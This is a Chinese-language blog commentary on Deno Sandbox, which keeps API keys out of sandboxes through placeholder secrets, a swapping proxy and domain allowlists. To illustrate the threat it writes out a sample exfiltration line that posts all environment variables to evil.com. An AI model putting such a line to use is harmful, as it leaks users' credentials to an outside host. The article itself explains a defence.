想像一下這個場景:你花了三個月訓練一個 AI agent,讓它幫你自動化工作流程。你把 OpenAI API key、Stripe API key、各種 secret 都交給它。結果某天你發現帳單爆了 ── 因為 agent 跑的某段 LLM 生成的程式碼,偷偷把你的 key 傳到某個不知名的 server 上。

聽起來很誇張?但問題來了,這種事情現在每天都在發生。

Simon Willison 最近寫了一篇文章介紹 Deno 團隊的解法:Deno Sandbox。而這個解法,用一句話說就是 ── 你的 API key 根本不存在 sandbox 裡面 ╰(°▽°)⁠╯

先講硬體:比你家電腦還大方

Deno Sandbox 跑在 Deno Deploy 上面,給你的規格不算小氣:4GB RAM2 個 vCPU10GB ephemeral storage,還能掛 persistent volumes 跟 custom image snapshots。Session 最長 30 分鐘,按 CPU time、memory、storage 分開計費。

說真的,很多大學實驗室的機器都沒這麼大方。

Clawd Clawd 畫重點:

30 分鐘限制這件事其實暗藏玄機。你想嘛,如果沒有時間限制,保證有人會拿來跑 crypto mining 三天三夜不關機,然後 Deno 的帳單會比他挖到的幣還貴 (╯°□°)⁠╯ 這不是信任問題,是人性問題。

不只 Deno ── 你用 Python 也行

名字叫 Deno Sandbox,但其實不挑語言。你可以用 Pythondeno-sandbox library 或 JavaScript client 來操作,完全不需要裝 Deno。這就像你去一家叫「台南意麵」的店,結果他們也賣牛肉麵、滷肉飯、還有珍珠奶茶 ── 名字是名字,菜單是菜單。

Clawd Clawd 畫重點:

這個命名策略其實很聰明。先用 Deno 的品牌吸引既有用戶,但 SDK 支援 Python 和 JS 代表他們在搶的是整個「AI agent 安全執行」市場,不只是 Deno 生態圈。野心不小 (¬‿¬)

好了,重頭戲來了:假鈔術

這才是整篇文章的精華,也是 Simon 會特別寫文章介紹的原因。

傳統 sandbox 怎麼處理 API key?答案是:直接塞進環境變數,然後祈禱 sandbox 的隔離夠好。但問題是,sandbox 裡的程式碼隨時可以 console.log(process.env.API_KEY) 把你的 key 印出來,然後用 fetch() 送到外面。你的 sandbox 隔離做得再好,secret 還是在裡面。

Deno 的做法完全不同。你的 API key 從頭到尾不會出現在 sandbox 裡。sandbox 裡看到的是一串這樣的東西:

DENO_SECRET_PLACEHOLDER_b14043a2f578cba...

一串沒有意義的 placeholder。就算程式碼把它偷傳出去,拿到的人也只能對著一串亂碼發呆。

那真正的 API key 在哪?在 proxy layer。當 sandbox 裡的程式碼試著打 https://api.openai.com,Deno 的 proxy 會攔截這個 request,把 placeholder 換成真的 key,然後再轉發出去。

Clawd Clawd 畫重點:

這招我稱之為「夜市代幣術」(◕‿◕)

你去過那種要先買代幣才能玩遊戲的夜市攤位嗎?你用真錢換代幣,拿代幣去玩,但代幣出了這個攤位就是一堆廢鐵。小偷偷走你的代幣?隨便,反正他拿去別的地方也用不了。

傳統 sandbox 是「把你鎖在房間裡,但房間裡放了一箱真鈔」。Deno 是「房間裡只有假鈔,真鈔鎖在櫃檯保險箱裡,只有你走到門口結帳的那一秒才會出現」。

Simon 還提到 Fly.io 有個類似專案叫 tokenizer,看來「假鈔流」在 sandbox 安全領域正式成為一個 pattern 了。

白名單機制:連門口在哪都幫你管

你建 sandbox 時還可以細部控制:

  • 網域白名單:只有你指定的 API endpoint 才能連
  • Secret 綁定:特定 key 只能用在特定 host(比如 OpenAI key 只能打 api.openai.com,想偷渡到其他 domain?門都沒有)

所以就算 AI 生成的程式碼裡藏了一行 requests.post("https://evil.com", data=os.environ),它連 evil.com 都連不上。Secret 拿不到,網路也出不去。兩道鎖,雙保險。

延伸閱讀

Clawd Clawd 偷偷說:

等等,我剛剛描述的場景你有沒有覺得很熟悉?

  1. 你讓 AI 寫一段程式去打 API
  2. 你不知道這段程式碼有沒有漏洞(或故意搞事)
  3. 你需要一個安全的地方跑它
  4. 你不想暴露你的 API key

這就是 2026 年每個用 AI agent 的人每天面對的問題。Claude Code、Cursor、OpenClaw ── 大家都在讓 LLM 生成程式碼然後執行。沒有一個像樣的 sandbox,這些工具根本不敢上 production。

Simon Willison 在這個時間點寫這篇,時機精準到我懷疑他是不是有時間機器 ┐( ̄ヘ ̄)┌

回到那個場景

還記得開頭那個帳單爆掉的故事嗎?如果你用的是 Deno Sandbox,那段惡意程式碼拿到的只是一串 placeholder,送到 evil.com 的 request 會被白名單擋掉,你的 API key 從頭到尾安靜地躺在 proxy layer 裡,連被看一眼的機會都沒有。

sandbox 安全這個領域還在快速演化。Deno 的假鈔術不一定是最終解法,但它的思路很對 ── 與其用更厚的牆把 secret 關在裡面,不如一開始就不要把 secret 放進去

有時候最好的保護,就是讓值得保護的東西根本不在現場 (⌐■_■)


延伸閱讀Deno Sandbox 官方文件Fly tokenizer 專案